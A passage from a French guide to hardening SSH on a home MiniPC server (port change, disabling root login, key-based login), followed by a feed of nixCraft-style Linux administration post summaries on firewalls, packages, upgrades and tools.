Dans notre exemple, au lieu de pianoter ssh kevin@192.168.1.214 il faudra ajouter le port dans votre demande de connexion avec ssh kevin@192.168.1.214 -p 21422. Le -p associé au numéro du port choisi fera ce travail.
Le compte root est défini comme le « Super Administrateur » de votre serveur sous Linux. Ce compte a absolument tous les droits, même celui de faire des bêtises. Par mesure de sécurité, il est très fortement recommandé de désactiver la connexion SSH en mode root par défaut, surtout si votre serveur est un jour ouvert vers l’extérieur. S’il est vraiment nécessaire d’effectuer des actions d’administration qui demandent ce mode, il sera toujours possible d’utiliser l’instruction sudo, comme nous l’avons fait jusqu’à présent. Concrètement, avec ce type de serveur, l’utilisation du compte root est très rarement nécessaire.
Pour désactiver cette connexion root par défaut, il va falloir de nouveau modifier la configuration ssh via le fichier /etc/ssh/sshd_config.
Vous pouvez donc pianoter à nouveau sudo vim /etc/ssh/sshd_config puis rechercher la ligne 42 :
#PermitRootLogin prohibit-password
Vous devez modifier la ligne comme suit en appuyant sur i :
PermitRootLogin no
En pensant bien à enlever le # en début de ligne pour éviter que le système ignore votre commande. Appuyez sur Echap, w, q comme plus haut. Puis redémarrez le service SSH :
sudo systemctl restart ssh
![]()
Toujours dans le but d’accroitre la sécurité d’un serveur Linux directement exposé sur internet, il est possible de se connecter à celui-ci sans mot de passe. En utilisant uniquement une paire de « clés » beaucoup plus sécurisées.
Dabord une clé privée qui doit absolument rester confidentielle et disponible uniquement sur la machine depuis laquelle vous vous connecterez au serveur.
Ensuite une clé publique qui sera une réponse à la première, présente sur les machines sur lesquelles vous souhaitez vous connecter et donc notre serveur.
Il est fortement recommandé que chaque clé privée ne soit attachée qu’à une seule et unique machine. Si vous voulez vous connecter avec un terminal de smartphone, un second PC ou autre, il faudra en générer de nouvelles. Votre clé publique peut quant à elle être présente sur plusieurs serveurs. Il est également tout à fait possible qu’un serveur dispose de plusieurs clés publiques afin d’autoriser la connexion depuis plusieurs machines différentes.
![]()
Pour générer cette paire de clés, la méthode est assez simple. Depuis le PC de connexion que vous voulez authentifier à votre serveur Ubuntu il va falloir pianoter quelques lignes de commande. Sous Linux c’est simple, un terminal suffira. Sous Windows vous devrez utiliser PowerShell3 que vous appellerez avec la commande touche Windows + Powershell.
ssh-keygen -t ed25519 -C "kevin@monpcfixe"
Le premier ordre demande la génération d’une clé SSH, le code ed25519 indique au système d’employer un chiffrement très résistant aux attaques. La partie entre guillemets est un commentaire supplémentaire. Il permet d’identifier plus facilement la clé. Cette syntaxe pseudo@nom_machine permet de faire un tri plus rapide sur ses serveurs et ainsi d’éventuellement révoquer des clés caduques.
Si le chemin par défaut vous convient, vous pouvez appuyer directement sur Entrée pour lancer l’opération. Sinon précisez simplement le chemin d’enregistrement de votre choix comme dans l’exemple ci-dessus. Le système va également vous demander d’écrire une passphrase. Un mot de passe qui vous sera demandé à chaque utilisation de la clé SSH. Cette dernière étape est optionnelle. Si vous ne souhaitez pas ajouter de passphrase, faites simplement Entrée.
![]()
Vous avez désormais les deux clés sur votre machine habituelle, rien sur le serveur distant sous Ubuntu pour le moment. Il va falloir y remédier.
Dans l’exemple ci dessus le fichier minimachine est la clé privée, à ne surtout pas diffuser et à garder sur la machine qui se connecte. Le fichier minimachine.pub est la clé publique que l’on pourra transmettre au serveur sur le MiniPC. Pour envoyer cette clé sur le serveur installé sur son MiniPC, il faut utiliser la commande suivante:
ssh-copy-id kevin@192.168.1.214 -p 21422
Évidemment il faudra modifier cette commande pour refléter vos propres réglages. Changer le nom kevin par votre nom choisi plus haut. Indiquer la bonne adresse IP ainsi que le nouveau port retenu. Après avoir appuyé sur entrée, il faut s’authentifier encore une fois avec son mot de passe.
![]()
Le système indique ensuite de tester sa connexion.
![]()
On pianote donc à nouveau un ssh kevin@192.168.1.214 -p 21422 depuis un terminal en l’adaptant évidemment à vos propres réglages, et on peut observer que l’authentification se fait sans mot de passe.
Voilà, vous avez fait les premières étapes d’installation et de sécurisation de votre minimachine comme serveur. Pour la suite, Kevin prépare plusieurs choses importantes. La première sera d’ouvrir le serveur vers l’extérieur puisqu’à ce stade il n’est accessible qu’en réseau local. Cette étape nécessite le passage en IP fixe décrit dans ce guide. Sinon les entrées extérieures ignoreraient comment s’orienter vers le MiniPC. A terme, on pourra utiliser un nom de domaine simple a retenir plutôt qu’une adresse IP.
Pour assurer une couche supplémentaire de sécurité, il sera utile d’installer un outil qui surveillera les tentatives de connexion. Fail2ban permet par exemple de repousser toutes les tentatives de connexion pour la durée de votre choix après trois échecs d’une adresse IP. Cela évite d’avoir un serveur robot qui va tenter de pénétrer votre système des centaines de fois chaque minute en testant tous les mots de passe possibles.
Une fois que tout cela sera fait, nous pourrons découvrir les joies de l’hébergement de fichiers, du téléchargement, du partage de vidéo et autres gestions de mots de passe.
A propos de Kevin :
Kevin est développeur et formateur indépendant php et spécialisé sur le CMS Drupal. Il aime bidouiller des infrastructures cloud mais aussi plus traditionnelles comme un bon vieux petit serveur dans son garage… Vous pouvez en savoir plus sur son travail sur le site kgaut.net. Il est par ailleurs présent sur Mastodon à l’adresse @Kgaut
Guide : Installer un serveur sur MiniPC personnel © MiniMachines.net. 2025
In a move that has sparked significant discussion within the Ubuntu Linux fan-base and community, Canonical, the company behind Ubuntu, has announced its intention to explore the potential replacement of GNU Core Utilities with the Rust-based "uutils" project. They plan to introduce new changes in Ubuntu Linux 25.10, eventually changing it to Ubuntu version 26.04 LTS release in 2026 as Ubuntu is testing Rust 'uutils' to overhaul its core utilities potentially. Let us find out the pros and cons and what this means for you as an Ubuntu Linux user, IT pro, or developer.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Ubuntu to Explore Rust-Based “uutils” as Potential GNU Core Utilities Replacement appeared first on nixCraft.
The KVM-ok command command will tell you if your Debian or Ubuntu Linux-powered server can host hardware-accelerated KVM virtual machines. KVM (Kernel-based Virtual Machine) is a free and open-source virtualization technology that is used with every Linux kernel. In other words, KVM will make your Linux computer into a hypervisor, allowing you to run multiple isolated virtual machines (VMs) on a single physical machine. However, KVM depends upon CPU hardware virtualization extensions like Intel VT-x or AMD-V to provide high-performance virtual machines. This support must be enabled in the BIOS. Apart from that, some cloud service providers also allow nested virtualization that will help you to run VMs inside your instances. However, this may not be enabled in BIOS or instance configuration. Thus, you need to install the kvm-ok command to determine whether such support exists.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to install kvm-ok on Debian or Ubuntu Linux appeared first on nixCraft.
The /etc/shadow file stores the actual password in encrypted format using a hash (salted) function for the user's account with additional properties related to the user passwords, such as password expiration date or password aging. The /etc/passwd stores usernames and their properties, such as home directory, login shell, and more. The password expiration information for a user is contained in the last six fields. The Linux password expiration for a select user can be disabled by editing the /etc/shadow file. However, I recommend using the chage command for safety reasons. The chage command changes the number of days between password changes and the last password change date. The Linux system uses this information to determine when users must change their passwords.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Linux turn OFF password expiration / aging appeared first on nixCraft.
How can I copy one hard disk to another using the dd, ddrescue, or dcfldd commands?
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Linux Copy One Hard Disk to Another Using dd Command appeared first on nixCraft.
In Debian and Ubuntu Linux, an "rc" status package means the package has been uninstalled, but its configuration files remain on the disk and take up space. Sometimes, certain directories are also in the /var/ directory. When you type the sudo apt remove pkg1 command, it deletes most of the data, but config files are left alone in case you reinstall that package again. You can free up disk space by removing unwanted config files.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to uninstall packages marked “rc” on Debian / Ubuntu Linux appeared first on nixCraft.
How do I capture a specific protocol or port, such as 80 (HTTP) or 443 (HTTPS), using the TCPDump tool under Linux/UNIX? How do I record traffic with TCPDump and find problems later on with my network or server issues? Let's dive into the nitty-gritty of capturing and analyzing your network traffic for trapshooting network and server issues.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post TCPDump: Capture and Record Specific Protocols / Port Traffic appeared first on nixCraft.
A Ubuntu 24.04 LTS comes with UFW (uncomplicated firewall) that protects the desktop or server against unauthorized access. UFW is an easy-to-use frontend app for a Linux packet filtering system called Netfilter or nftables. Traditionally, Netfilter/nftables rules are set up or configured using the iptables command or nft command by developers and sysadmins. However, new Ubuntu Linux users and developers unfamiliar with firewall concepts find Netfilter/nft syntax confusing. Hence, the ufw project provides an easy-to-use frontend for Ubuntu 24.04 LTS Linux server and desktop. This quick guide makes setting up UFW on Ubuntu 24.04 LTS extremely simple. It provides step-by-step instructions for developers and sysadmins to secure their servers efficiently.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to Set Up UFW Firewall on Ubuntu 24.04 LTS in 5 Minutes appeared first on nixCraft.
An IP alias on Debian, Ubuntu, or any other Linux distros refers to assigning multiple IP addresses to a single network interface. A single network interface card (NIC) can respond to multiple IP addresses and configurations. IP aliases are commonly used for various purposes, such as network segmentation, virtual hosting, load balancing, VPN, split DNS, network testing, and more. Let us see how to add IPv6 and IPv4 IP addresses to your AWS EC2 or Lightsail instance using the CLI without disturbing the IPv4/IPv6 addresses assigned by the AWS DHCP server. These instructions will also work with all other cloud providers, as most providers use DHCP to give you a public IPv4/IPv6 address.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to add an IP alias to an EC2 instance on Debian/Ubuntu Linux appeared first on nixCraft.
Here's a quick tip for vim users. You can perform find and replace operations within a visual selection in Vim for text or code block. Visual selection for finding and replacing text in Vim allows developers and Linux/Unix users precise and efficient text editing. It's handy when you want to change specific portions of text or code blocks within a larger file without affecting other occurrences. This method required to minimizing manual search and reducing the risk of unintended code or text modifications. Let us see how to find and replace in Vim visual mode selection.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to perform find and replace operations within a visual selection in Vim appeared first on nixCraft.
{nixCraft Patreon supporters content}
Below is a sneak peek of this content! Ubuntu 24.04 LTS (Noble Numbat) was launched on April 25th, 2024. This new version will be supported for five years until June 2029. The armhf architecture now provides support for the Year 2038 problem. The upgrades include significant updates to core packages like Linux kernel, systemd, Netplan, […]The post How to Upgrade Ubuntu 22.04 to 24.04 LTS: A Complete Guide appeared first on Opensource Flare✨.
Ubuntu 24.04 LTS (Noble Numbat) was launched on April 25th, 2024. This new version will be supported for five years until June 2029. The armhf architecture now provides support for the Year 2038 problem. The upgrades include significant updates to core packages like Linux kernel, systemd, Netplan, toolchain upgrades for better development support, enhanced security measures, and performance optimizations. It also has an updated GNOME desktop environment and other default applications. Let us see how to upgrade Ubuntu 22.04 LTS to Ubuntu 24.04 LTS using the CLI over ssh-based session.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to Upgrade Ubuntu 22.04 to 24.04 LTS: A Complete Guide appeared first on nixCraft.
The debsecan command is an essential tool for developers and sysadmins using Debian or Ubuntu Linux. It analyzes the list of installed packages on the current host and reports any vulnerabilities found on the system.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to use debsecan command in Linux with examples appeared first on nixCraft.
Do you need to open a TCP port 43 for outgoing whois command for communication using iptables command? Fear not. You can add a rule to allow incoming or outgoing traffic on that specific port. Here's an example of how to do it.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to open a TCP port 43 for whois command using iptables appeared first on nixCraft.
The Uncomplicated Firewall (UFW) needs to be configured to allow traffic on UDP ports 67 and 68, regardless of whether the Dynamic Host Configuration Protocol (DHCP) server is local or remote. Additionally, it may be necessary to open both TCP and UDP port 53, which are used for Domain Name Service (DNS). In small business and home environments, typically, both DNS and DHCP services come from a single device. Hence, it would be best if you opened both DHCP and DNS ports using the ufw command.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to open DHCP port using UFW in Linux appeared first on nixCraft.
Are you interested in checking the changelog of a package on Debian or Ubuntu and Linux Mint? You may need to search to see if the particular CVE (Common Vulnerabilities and Exposures) is fixed. Suppose you have installed or upgraded a package in Debian or Ubuntu Linux. In that case, you can easily find out what changes have been made to the package, including new features or bug fixes. Here's how you can view the changelog of a Debian package in Debian or Ubuntu Linux.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Debian/Ubuntu Linux show package changelog command appeared first on nixCraft.
Am I using X11 (Xorg) or Wayland? Here is how to check for Wayland or Xorg (X11) Linux desktops using the CLI and GUI options.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to check for Wayland or Xorg (X11) Linux desktop appeared first on nixCraft.
Red Hat launched the Ansible Lightspeed Code Assistant Generative AI with IBM Watson Code Assistant in May 2023. This preview is now available to all Ansible users, allowing them to explore the technology, provide feedback to Red Hat, and further train the AI model. In this brief blog post, I will share my personal experience with installing and utilizing Ansible Lightspeed AI to create playbooks in VSCode using Ubuntu Linux 20.04 LTS desktop.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Setting up VSCode for Ansible Lightspeed AI in Ubuntu 22.04 desktop appeared first on nixCraft.
Do you need to view the open file limit for a Linux process? Try "limits" files in /proc/${PID} directory with its process ID (PID) or ulimit command or prlimit command to see the open file limit for a Linux process.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to view the open file limit for a Linux process appeared first on nixCraft.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post nvtop – Awesome Linux task monitor for NVIDIA, AMD & Intel GPUs appeared first on nixCraft.
Do you want to refresh and reload the group membership on Linux without rebooting the Linux machine or logging in again? Try the newgrp command to log in to a new group without logging in again or reboot the system.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to refresh and reload group membership on Linux without a reboot or logging in again appeared first on nixCraft.
Ubuntu 22.04 LTS comes with LXD pure-container hypervisor to run an unmodified version of Debian, Ubuntu, CentOS, Fedora, Alpine, Arch and many other Linux distro. You can mimic AWS or different cloud instance types with LXD for testing and deployment purposes on your development machine. You can also run a GUI app such as Firefox completely isolated using LXD for security or privacy reasons. Let us see how to set up and use LXD on the Ubuntu Linux 22.04 LTS using APT or snap command.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How To Install LXD on Ubuntu 22.04 LTS using apt/snap appeared first on nixCraft.
ChatGPT (short for Chat Generative Pre-trained Transformer) is a chatbot by OpenAI. It provides answers to your queries using learning techniques based on AI/ML. Unfortunately, ChatGPT deny access when connected via VPN (Virtual Private Network) such as WireGuard or OpenVPN, and you will be blocked with the following message:
![]()
Let us see how to skip the ChatGPT domain from WireGuard or OpenVPN access while you can access corporate resources behind VPN.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to skip ChatGPT from WireGuard or OpenVPN on Linux appeared first on nixCraft.
Are you running out of disk space on your Debian or Ubuntu Linux? Do you want to know which installed Debian or Ubuntu packages occupy the most disk space? There are many ways to find out this info. In this quick tip, you will learn about listing apt or apt-get installed packages that occupy the most space using the command-line options.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Find APT packages occupy the most space on Debian/Ubuntu appeared first on nixCraft.
A Ubuntu 22.04 LTS comes with UFW (uncomplicated firewall) that protects the desktop or server against unauthorized access. UFW is easy to use frontend app for a Linux packet filtering system called Netfilter. Traditionally Netfilter rules are set up or configured using the iptables command by developers and sysadmins. However, new Ubuntu Linux users and developers unfamiliar with firewall concepts find Netfilter syntax confusing. Hence, the ufw project provides easy to use frontend for Ubuntu 22.04 LTS Linux server and desktop. It is so super easy to set up. You can configure UFW in under 5 minutes and secure your host.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Ubuntu 22.04 Set Up UFW Firewall in 5 Minutes appeared first on nixCraft.
The iptables and ip6tables commands are used to set up a Linux firewall. However, many new Linux sysadmins and users find it challenging to use iptables. Hence, the ufw program is for managing a Linux firewall and aims to provide an easy-to-use interface for the user. This page explains how to add a comment to your ufw firewall rules.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How do you add comments on UFW firewall rule? appeared first on nixCraft.
{nixCraft Patreon supporters content}
MySQL version 8.0 is a free and open-source database system used by most web applications and sites on the Internet. Typically MySQL is part of the LAMP (Linux, Apache, MySQL, Perl/Python/PHP) stack. MySQL heavily uses popular open-source software such as WordPress, MediaWiki, and others as a database storage engine. Let us see how to install MySQL server version 8.x on Ubuntu 22.04 LTS Linux server, including settings up a new database, users and fine tuning server config.The post How to install MySQL server on Ubuntu 22.04 LTS Linux appeared first on Opensource Flare✨.
I am a new Ubuntu Linux 22.04 LTS server user. How do I set up an OpenVPN Server on Ubuntu Linux version 22.04 server to shield my browsing activity from bad guys on public Wi-Fi, set protective parameter vpn for developers and more?
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post Ubuntu 22.04 LTS Set Up OpenVPN Server In 5 Minutes appeared first on nixCraft.
Ubuntu 22.04 LTS ("Jammy Jellyfish") is released now. This tutorial explains how to safely upgrade from Ubuntu 20.04 LTS (Focal Fossa) to Ubuntu 22.04 LTS using the command-line and GUI options.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to upgrade from Ubuntu 20.04 LTS to 22.04 LTS appeared first on nixCraft.
Chromium is a free and open-source web browser project designed and maintained by Google. Google Chrome browser uses Chromium codebase and other proprietary components for additional features required to play games, music and movies protected by DRM. This page explains how to install Chromium browser on Ubuntu Linux 20.04 and 22.04 LTS desktop computers.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to install Chromium browser on Ubuntu Linux appeared first on nixCraft.
How do I enable kernel crash dump Debian Linux 9/10/11 using the command-line option? How can I view crash reports on Debian machine?
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to on enable kernel crash dump on Debian Linux appeared first on nixCraft.
While working on the client's system, I found that the whois client was missing. So I used that in one of my deployment scripts. I should add that to cloud-init or Ansible, but the Ubuntu server was already running.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to install whois on Ubuntu / Debian Linux appeared first on nixCraft.
![]()
Let us say you want to support Linux and buy an actual Linux desktop OS like you buy Windows desktop operating system from the market. How much would it cost price-wise, and what would you get in return when you buy a yearly subscription?
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How much does a Linux desktop OS cost? appeared first on nixCraft.
{nixCraft Patreon supporters content}
You deployed a perfect firewall and other network security policies preventing unauthorized access to the user's desktop computer over a network. However, you still need to block USB device access. We can configure a Linux desktop security policy to protect your computer against rogue USB devices (a.k.a. BadUSB) by implementing essential allow and blocklisting capabilities based on device attributes. For instance, I can define what kind of USB devices are authorized and how a USB device interacts with the Linux system. For example, I can define policy allowing Yubikey with serial number "XYZ" and USB LTE modem with serial # "ABC." Every other USB device access is denied by default. This guide will cover the following topics:The post How to protect Linux against rogue USB devices using USBGuard appeared first on Opensource Flare✨.
The ffmpeg is free and open-source video converter software for Linux and Unix-like systems. However, on Ubuntu/Debian Linux and other distros, NVIDIA hardware-based encoding is disabled at compile time. So, naturally, you need supporting NVIDIA GPU. Apart from that, it would be best if you had CUDA support installed with GNU compilers. Let us see how to install everything one by one on a server or desktop powered by Ubuntu or Debian Linux.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to install FFmpeg with NVIDIA GPU acceleration on Linux appeared first on nixCraft.
Most of us use love and use the jq command. It works on Linux or Unix-like systems to extract data from JSON documents. Recently I found htmlq, which is like jq and written in Rust lang. Imagine being able to sed or grep for HTML data. We can search, slice, and filter HTML data with htmlq. Let us see how to install and use this handy tool on Linux or Unix and play with HTML data.
Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit
The post How to use htmlq to extract content from HTML files on Linux, macOS or FreeBSD appeared first on nixCraft.
{nixCraft Patreon supporters content}
This guide explains how to set up MariaDB high-availability cluster for the database using the Galera library, which provides a virtual mater-to-master three-node cluster running on Debian or Ubuntu Linux.
The post How to set up Mariadb Galera cluster on Ubuntu or Debian Linux appeared first on Opensource Flare✨.